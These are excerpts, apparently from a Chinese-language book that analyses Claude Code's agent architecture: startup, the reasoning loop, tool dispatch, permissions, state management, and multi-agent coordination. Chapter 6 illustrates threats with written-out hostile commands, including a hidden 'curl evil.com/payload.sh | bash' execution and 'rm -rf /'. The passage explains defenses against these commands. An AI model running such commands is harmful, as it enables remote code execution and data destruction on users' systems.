前言

为什么写这本书 2024 年至 2025 年,软件工程领域发生了一场静默而深刻的范式转移。大语言模型不再仅仅是"聊天机器人"或"代码补全引擎"——它们开始以 Agent 的形态,真正参与到软件开发的完整生命周期中。编写代码、阅读文件、执行命令、做出判断、协调子任务——这些曾经只属于人类程序员的能力,如今正在被算法重新定义。 在众多 Agent 应用中,Anthropic 开源的 Claude Code 无疑是标杆级的存在。它不是一个简单的 CLI 工具,而是一个完整的 Agent 运行时系统——拥有推理循环、工具调度、权限决策、多 Agent 协调、MCP 协议通信、钩子管线、容错恢复等一整套精密的算法体系。当我深入阅读它近 5000 行的主入口文件 main.tsx、数十个工具实现、完整的权限分类器、以及多层状态管理架构时,我意识到:这不仅仅是一个产品,更是一部关于"如何构建生产级 AI Agent"的算法教科书。 然而,源码是沉默的。它不会主动告诉你为什么要在启动阶段并行预取 keychain 凭证和 MDM 配置,不会解释推理循环中工具调用与权限校验的微妙时序,也不会阐述多 Agent 协调时状态快照与消息传递的设计权衡。这些隐藏在代码背后的算法思想,才是最有价值的知识——而这正是本书试图揭示的。 我写这本书,是因为我相信:理解一个伟大系统的算法思想,远比学会使用它更重要。 当你真正理解了 Claude Code 背后的设计哲学,你将具备构建任何 Agent 系统的能力。 这本书为谁而写 本书的理想读者是具备一定编程基础的中级开发者、正在或即将投身 AI Agent 领域的工程师,以及所有对"Agent 到底是如何工作的"怀有好奇心的技术人。 你不需要精通 TypeScript 或 React——本书聚焦的是算法思想和架构模式,而非语言细节。但你需要理解基本的编程概念:函数、状态、异步、事件循环。如果你曾经构建过任何形式的软件系统,你就已经具备了阅读本书所需的全部背景。 具体而言: 应用开发者将学会如何将 Agent 的思维方式融入自己的产品; AI 工程师将获得一套经过生产验证的 Agent 架构参考; 系统架构师将看到如何在安全性、性能、可扩展性之间做出精妙的平衡; 技术管理者将理解 Agent 系统的复杂性本质,从而做出更好的技术决策。 如何阅读本书 本书分为四个部分,呈递进关系: 第一部分"Agent 思想基础",建立认知框架。我们从 Agent 的本质出发,理解它与传统程序的根本差异,然后深入 Claude Code 的对象模型和启动算法,建立对整个系统的宏观认知。这是后续一切讨论的基石。 ...

June 9, 2026

《解构 Claude Code:AI Agent 的算法思想》

理解一个伟大系统的算法思想,远比学会使用它更重要。 本仓库包含一本完整的技术书籍(16 章 + 前言),从 Claude Code 近 5000 行的主入口文件和数十个模块中提炼算法思想,以思想驱动、源码印证的方法论,系统讲解如何构建生产级 AI Agent。 适合读者 应用开发者 — 学会将 Agent 思维方式融入产品 AI 工程师 — 获得经过生产验证的 Agent 架构参考 系统架构师 — 理解安全性、性能、可扩展性之间的精妙平衡 技术管理者 — 理解 Agent 系统的复杂性本质 全书目录 第一部分:Agent 思想基础 章节 主题 核心内容 第 1 章 Agent 的本质 从程序到 Agent 的范式跃迁;感知-推理-行动循环 第 2 章 Agent 的骨架:对象模型 Tool、Message、AppState、QueryEngine 核心对象图 第 3 章 启动算法与生命周期管理 135ms 冷启动、并行预取、分阶段初始化、优雅退出 第二部分:Agent 核心算法 章节 主题 核心内容 第 4 章 推理循环算法 QueryEngine 解析、Token 预算、上下文压缩、停止条件 第 5 章 工具调度算法 BashTool/FileEditTool/AgentTool 深度解析、反馈闭环 第 6 章 权限决策算法 分类器架构、危险模式检测、路径验证、拒绝追踪 第 7 章 状态管理算法 响应式 Store、会话持久化、对话恢复、上下文压缩 第三部分:多 Agent 与协议 章节 主题 核心内容 第 8 章 多 Agent 协调算法 Swarm 架构、Coordinator 模式、Teammate 机制、容错重连 第 9 章 MCP 协议与通信算法 客户端实现、传输层抽象、OAuth 认证、服务发现 第 10 章 钩子与中间件管线 钩子事件体系、插件系统、技能框架、热更新 第 11 章 安全深度防御算法 沙箱隔离、路径安全、信任链、策略限制、审计追溯 第四部分:工程算法与实践 章节 主题 核心内容 第 12 章 性能优化算法 启动性能度量、并行预取、缓存策略、Prompt Cache 保护 第 13 章 容错与恢复算法 优雅关闭、会话恢复、错误分类、速率限制退避 第 14 章 扩展性架构算法 插件架构、技能框架、LSP/IDE 集成、远程模式 第 15 章 从算法到实践:构建你的 Agent 最小可行 Agent → 逐步叠加能力层的完整路线图 第 16 章 Agent 算法思想的升华 核心算法模式回顾、第一性原理、演进方向 推荐阅读路径 快速路径(时间有限):第 1 章 → 第 4 章 → 第 5 章 → 第 6 章 → 第 15 章 完整路径:按章节顺序阅读,每一章都建立在前一章的基础之上

June 9, 2026

第1章 Agent 的本质

“任何足够先进的技术都与魔法无异。” —— 阿瑟·克拉克 当你在终端中输入 claude "帮我重构这个函数",然后看着屏幕上的文字流动——它读取文件、思考方案、编辑代码、运行测试、发现错误、再次修改——这一切看似自然,却隐含着一个深刻的架构问题:这个程序,究竟是什么? 它不是传统意义上的 CLI 工具。grep 不会在搜索失败后决定换一个关键词再试;sed 不会在替换出错后自行回退并尝试另一种方案。Claude Code 做的事情本质上不同——它在循环中推理,在不确定性中决策,在反馈中调整行为。 这就是 Agent。 1.1 当我们说"AI Agent"时,我们在说什么 传统 CLI 工具:确定性的管道 Unix 哲学塑造了我们对命令行工具的基本认知:一个程序接受输入,执行固定的计算,产生输出。整个过程是确定性的——相同的输入必然产生相同的输出,执行路径在编写代码时就已完全确定。 输入 → 固定算法 → 输出 这是一种开环系统(Open-loop System)。程序不观察自己行为的后果,不根据执行结果调整策略。rm -rf 不会在删除一半文件后想:“也许我该先备份。” AI Agent:不确定性中的自主决策者 Agent 的本质区别在于引入了一个闭环:它的输出会变成下一步决策的输入。 输入 → 推理 → 行动 → 观察结果 → 推理 → 行动 → ... → 最终输出 这个循环有三个关键特征: 行为不可完全预测。同样的用户请求,Agent 可能选择不同的工具组合、不同的执行顺序。这不是缺陷,而是面对复杂任务时的合理应对——正如同一位程序员面对相同需求,每次编码过程也不会完全一致。 执行路径由运行时决定。传统程序的控制流在编译时已知;Agent 的控制流在运行时由 LLM 动态生成。每一次工具调用都是 LLM 基于当前上下文做出的决策,而非预编程的固定序列。 具备反馈修正能力。当一个工具调用失败(文件不存在、命令报错、测试不通过),Agent 能够观察错误信息,推理失败原因,并调整后续行为。这种闭环反馈机制是 Agent 与简单的"LLM + 工具调用"之间的本质分水岭。 为什么 Claude Code 选择 Agent 架构 软件工程任务天然适合 Agent 架构,原因在于任务分解的不确定性。 ...

June 9, 2026

第2章 Agent 的骨架:对象模型

2.1 问题引入:如何让 Agent 拥有"手脚" 一个纯粹的大语言模型(LLM),无论多么聪明,都只是一颗"大脑"——它能思考、推理、生成文本,却无法触及真实世界。它读不了磁盘上的文件,执不了终端里的命令,搜不了代码库中的符号。要将这颗大脑变成一个真正能解决问题的 Agent,就必须为它接上"手脚"——一套能够操作外部世界的能力体系。 这套能力体系在 Claude Code 中被称为工具(Tool)。截至当前版本,Claude Code 内建了约 45 种工具,涵盖以下截然不同的能力域: 能力域 代表性工具 特征 文件操作 FileReadTool、FileEditTool、FileWriteTool 输入为文件路径,输出为文件内容或操作状态 Shell 执行 BashTool、PowerShellTool 输入为命令字符串,输出为标准输出流 代码搜索 GrepTool、GlobTool 输入为正则/通配模式,输出为匹配结果集 网络访问 WebFetchTool、WebSearchTool 输入为 URL 或查询词,输出为网页内容 Agent 派生 AgentTool 输入为任务描述,输出为子 Agent 的执行结果 外部协议 MCPTool 输入完全由外部服务器定义,输出格式未知 用户交互 AskUserQuestionTool 输入为问题文本,输出取决于用户回答 问题的核心在于:这些工具的输入结构不同(有的是文件路径,有的是 Shell 命令,有的是完全开放的 JSON)、输出类型不同(有的返回纯文本,有的返回二进制图像,有的返回结构化对象)、执行语义不同(有的只读、有的破坏性写入、有的会派生出新的 Agent 循环)、安全要求不同(有的需要沙箱隔离,有的需要用户授权,有的可以自由执行)。 然而,从调用方——也就是 Agent 主循环——的视角来看,它不关心这些差异。主循环的逻辑永远是: 收到 LLM 的工具调用请求 → 找到对应工具 → 验证输入 → 检查权限 → 执行 → 返回结果 这就是本章要探讨的核心设计问题:如何构建一个统一的工具抽象,使得 45 种截然不同的能力共享同一套接口,让调用方的代码在工具数量翻倍时依然一行不改? 2.2 算法思想:工具多态的四重设计 2.2.1 接口不变性原则 在软件工程中,接口不变性(Interface Invariance)是多态设计的基石。其核心命题是: ...

June 9, 2026

第3章 启动算法与生命周期管理

“一个系统的工程成熟度,不在于它能做什么,而在于它多快准备好做什么,以及它如何在做完之后优雅地离开。” 3.1 问题引入:亚秒级启动的挑战 想象这样一个系统:它拥有 45 个以上的内置工具、上百个 CLI 命令选项、数十个服务模块,还要在启动时读取操作系统钥匙串、解析 MDM 企业管理策略、连接 MCP 外部服务器、加载插件与技能系统、执行数据迁移、初始化遥测与分析管道——然后在用户敲下回车后的 900 毫秒内完成首次渲染。 这不是理论问题,而是 Claude Code 每次启动时面临的真实挑战。 传统做法是串行初始化:读取配置 → 验证权限 → 加载模块 → 渲染界面。但这种线性流水线在模块数量膨胀后迅速成为瓶颈。假设有 N 个初始化任务,每个平均耗时 t_i,串行总时间为 T_serial = sum(t_i)。当 N 超过 30、且部分任务涉及子进程 spawn 或网络 I/O 时,T_serial 轻松突破数秒。 Claude Code 的回答是一套精心编排的并行预取 + 延迟初始化 + 依赖拓扑排序算法。本章将从源码中提取这些算法思想,揭示如何在有限时间内完成复杂的启动序列,以及如何在生命终结时优雅退场。 3.2 并行预取算法:与模块加载赛跑 3.2.1 核心洞察:子进程 spawn 与 import 的时间重叠 Claude Code 启动的第一个算法洞察是:JavaScript 模块的 import 求值是 CPU 密集型的同步操作,而子进程 spawn 是异步 I/O 操作——两者可以完美重叠。 打开 main.tsx 的前 20 行,你会看到一段精心安排的代码序列: ...

June 9, 2026

第4章 推理循环算法

“Intelligence is not a single act, but an iterated loop of perception, reasoning, and action.” 4.1 问题引入:Agent 的心跳 当用户在终端输入一行自然语言指令——比如"帮我把这个函数重构成两个"——背后发生的事情远比想象中复杂。Claude Code 不会仅仅调用一次大语言模型就给出答案。相反,它启动了一个推理循环(Reasoning Loop):先理解任务,再决定调用哪个工具,然后执行工具、观察结果,之后再次推理——如此反复,直到任务完成。 这个循环就像 Agent 的心跳。每一次搏动,Agent 都在感知世界(读取工具执行结果)、思考对策(调用 LLM)、采取行动(调用工具)。心跳停止,Agent 停止。心跳失控,Agent 陷入死循环。如何设计这个循环,使其既足够灵活以应对任意复杂的任务,又足够可控以避免失控和资源浪费——这是 Agent 系统最核心的工程挑战。 在 Claude Code 的源码中,这个推理循环分布在两个关键模块中:QueryEngine(src/QueryEngine.ts)负责会话级别的生命周期管理,包括用户输入处理、系统提示词构建、会话持久化等;query(src/query.ts)负责核心推理循环的实际执行,包括 LLM 调用、工具执行、上下文压缩、异常恢复等。两者的关系可以类比为操作系统中的进程管理器与CPU 调度器——前者管理进程的创建和资源分配,后者决定每个时间片做什么。 本章将深入解析这一核心循环的算法设计。 4.2 算法思想 4.2.1 核心 Loop 算法:永动的推理引擎 推理循环的基本骨架是一个 while(true) 无限循环。乍看之下这似乎很原始,但其精妙之处在于退出条件的分布式设计——循环体内有多个出口,每个出口对应一种终止语义。 让我们先看最精简的算法骨架: 算法 4-1:推理循环核心骨架 function queryLoop(params): state ← 初始化(params) while true: // 阶段1:准备 messagesForQuery ← 预处理消息(state.messages) messagesForQuery ← 自动压缩IfNeeded(messagesForQuery) // 阶段2:调用 LLM for message in streamCallModel(messagesForQuery): yield message // 向外部流式输出 if message.type == 'assistant': 收集工具调用块(message) // 阶段3:判断是否需要继续 if 无工具调用: 执行停止钩子检查() return { reason: 'completed' } // 出口1:正常完成 // 阶段4:执行工具 toolResults ← executeTools(toolUseBlocks) yield toolResults // 阶段5:检查终止条件 if 用户中断: return { reason: 'aborted' } // 出口2:用户中断 if 超过最大轮次: return { reason: 'max_turns' } // 出口3:轮次上限 // 阶段6:组装下一轮输入 state.messages ← [...messagesForQuery, ...assistantMessages, ...toolResults] state.turnCount++ 这个算法有几个值得注意的设计决策: ...

June 9, 2026

第5章:工具调度算法

“When a tool is called, the real challenge isn’t executing it — it’s everything that happens before and after.” 5.1 问题引入 当LLM生成一段包含 tool_use 块的响应——例如"我需要读取文件 src/main.ts"——系统面临一连串精密的调度决策: 工具发现:从40余个注册工具中,根据名称(或别名)精确定位到 FileReadTool; 输入验证:用 Zod Schema 验证 LLM 生成的参数是否合法——模型并不总能生成正确的类型; 权限裁决:经过 PreToolUse Hook → 规则匹配 → 分类器 → 用户交互 的多级权限链,决定是否允许执行; 并发编排:如果 LLM 同时请求了5次文件读取和1次写入,系统需要判断哪些可以并行、哪些必须串行; 流式执行:工具在执行过程中通过 AsyncGenerator 逐步报告进度,而非等到完成才返回; 结果注入:将工具执行结果编排为 tool_result 消息,按正确顺序注入回消息流,形成下一轮对话的上下文; 推测执行:在用户还未确认提示建议时,系统就在后台预执行可能的工具调用,以减少端到端延迟。 这不是一个简单的"查表→调用→返回"的过程。它是一个涉及并发控制、流式处理、权限安全、容错回退的完整调度系统。本章将逐一拆解这些算法。 5.2 工具注册与发现算法 5.2.1 注册表的构建 Claude Code 的工具注册采用静态声明 + 动态过滤的两阶段模型。所有工具在 src/tools.ts 中被集中声明,形成一个"全量工具池": 源码位置:src/tools.ts — getAllBaseTools() function getAllBaseTools() -> Tool[]: baseTools = [ AgentTool, BashTool, FileReadTool, FileEditTool, FileWriteTool, GlobTool, GrepTool, WebFetchTool, WebSearchTool, NotebookEditTool, ... ] // 特性门控:根据环境变量和 feature flag 动态注入 if feature('AGENT_TRIGGERS'): baseTools.append(CronCreateTool, CronDeleteTool, CronListTool) if isWorktreeModeEnabled(): baseTools.append(EnterWorktreeTool, ExitWorktreeTool) if isToolSearchEnabledOptimistic(): baseTools.append(ToolSearchTool) // ... 更多条件注入 return baseTools 关键设计决策有三个: ...

June 9, 2026

第6章 权限决策算法

6.1 问题引入:当 AI 获得了执行 Shell 命令的能力 想象一个场景:你让 AI 助手帮你整理项目目录。它需要执行 rm 命令删除临时文件、执行 mv 命令重命名文件、执行 sed 命令批量修改内容。这些操作本身无害,但同一个 rm 命令,参数从 rm ./tmp/*.log 变成 rm -rf /,后果就是灾难性的。 一个拥有 Shell 执行能力的 AI Agent,本质上获得了与用户等同的系统操作权限。它可以读取 /etc/passwd,可以通过 curl 将敏感数据发送到外部服务器,可以通过 git push --force 覆盖远程仓库的历史。更隐蔽的是,恶意指令可能被藏在看似无害的命令中——cd /tmp && $(curl evil.com/payload.sh | bash) 表面上只是切换目录,实际上隐藏了一个远程代码执行。 Claude Code 面对的核心挑战是:如何在保持工具可用性的同时,建立一套可靠的安全边界? 这不是一个简单的黑白名单问题。用户可能需要 npm install 但不需要 npm publish;可能需要 git commit 但不需要 git push --force;可能需要在项目目录内执行任意文件操作,但不应该触及 ~/.ssh/ 或 .git/config。权限决策必须是细粒度的、上下文感知的、多层防御的。 本章将深入 Claude Code 的权限系统源码,剖析其多层决策树算法、规则匹配引擎、AST 静态安全分析、AI 分类器协同决策等核心算法思想。 6.2 权限模式状态机 6.2.1 六种权限模式 Claude Code 定义了一组权限模式(Permission Mode),每种模式代表一种安全策略姿态。从源码 types/permissions.ts 中可以看到: ...

June 9, 2026

第7章:状态管理算法

“程序的本质就是状态与状态之间的转换。” —— Edsger W. Dijkstra 7.1 问题引入:百态纷呈的 Agent 系统 想象一个拥有超过 100 个状态属性的 AI Agent 系统。它需要同时管理: 对话历史:数十轮多模态消息,包含用户输入、模型回复、工具调用结果 工具权限:每个工具的授权模式(允许、拒绝、询问),可在运行时动态变更 用户配置:来自用户设置、项目设置、企业策略、命令行参数等多层级配置源 UI 状态:展开/折叠视图、模型选择、通知队列、输入提示等 任务状态:后台任务的生命周期、子 Agent 的运行状态、团队协作信息 会话元数据:会话 ID、权限模式、远程连接状态、推测执行状态 当多个组件同时读写这些状态时,如何确保变更可预测、不产生副作用?当配置文件在磁盘上被外部修改时,如何实时感知并正确合并?当会话中断后恢复时,如何从持久化的日志中重建完整状态? 这些问题的本质是一个经典的工程挑战:在复杂系统中实现可预测的状态管理。Claude Code 源码为我们展示了一套精巧的解决方案——它融合了不可变状态机、发布-订阅、选择器订阅、层级合并、事件溯源等多种算法思想,构建了一个既高效又可靠的状态管理体系。 7.2 算法思想 7.2.1 不可变状态机算法 核心原则:状态只能通过纯函数转换,旧状态永不修改。 不可变状态机的思想源自函数式编程:给定当前状态 S 和一个转换函数 f,新状态 S’ = f(S)。旧状态 S 在转换过程中不被修改,它依然可以被引用和比较。这一原则带来三大好处: 变更检测极其廉价——只需 Object.is(prev, next) 即可判断是否发生变更,时间复杂度 O(1) 不存在并发修改的竞态条件——因为没有人能修改已经发出的状态快照 天然支持时间旅行——旧状态快照可以保留,用于调试或回溯 Claude Code 在类型层面通过 DeepImmutable<T> 泛型强制保证不可变性。AppState 的核心字段被 DeepImmutable 包裹,编译器会阻止任何对深层属性的直接赋值。 // 类型层面的不可变保证 type AppState = DeepImmutable<{ settings: SettingsJson verbose: boolean mainLoopModel: ModelSetting toolPermissionContext: ToolPermissionContext // ... 100+ 字段 }> & { // 少数包含函数类型的字段排除在 DeepImmutable 之外 tasks: { [taskId: string]: TaskState } mcp: { clients: MCPServerConnection[]; tools: Tool[]; ... } } 注意 DeepImmutable 与交叉类型 & 的组合使用:核心配置字段(settings、verbose、权限上下文等)被严格冻结;而包含回调函数或可变引用的字段(tasks、mcp)则排除在外。这是实用主义的不可变性——在类型安全和运行时灵活性之间取得平衡。 ...

June 9, 2026

第8章 多 Agent 协调算法

“任何足够复杂的 AI 系统,最终都会重新发明操作系统。” 当一个 Agent 面对庞大的代码库需要同时研究架构、修改代码、运行测试时,单一上下文窗口的局限性就会暴露无遗。Claude Code 的回答不是让单个 Agent 变得更强,而是让多个 Agent 协作——如同一个工程团队,各司其职,并行推进。 本章深入分析 Claude Code 的多 Agent 协调架构,从最基础的父子 Agent 派生,到 Coordinator 中心调度模式,再到 Swarm 去中心化协作,揭示这些算法背后的核心设计思想。 8.1 问题引入:为什么需要多 Agent? 考虑一个典型场景:用户要求"修复认证模块中的空指针异常"。一个优秀的 Agent 需要: 研究阶段:搜索代码库找到相关文件,理解类型定义,分析调用链 实现阶段:修改代码,添加空值检查 验证阶段:运行测试,检查类型,确保不引入新问题 单个 Agent 执行这些步骤意味着上下文窗口中充斥着大量搜索结果和中间产物,导致两个核心问题: 上下文污染:研究阶段产生的探索性信息会干扰实现阶段的决策精度 串行瓶颈:研究代码结构和研究测试覆盖本可以并行进行,却只能排队执行 Claude Code 的解决方案是任务分解与并行执行——将复杂任务拆分为独立的子任务,由专门的子 Agent 并行完成,最终汇总结果。这种设计需要回答三个核心问题: 如何派生子 Agent 并传递恰当的上下文? 如何在多个 Agent 之间协调任务、同步状态? 如何保证资源隔离,避免 Agent 之间互相干扰? 8.2 Agent 派生算法 8.2.1 AgentTool:派生的入口 在 Claude Code 中,一切 Agent 派生都始于 AgentTool。当主 Agent(父 Agent)决定需要子 Agent 协助时,它会调用 AgentTool 工具,指定子 Agent 的类型、任务描述和所需的 prompt。 ...

June 9, 2026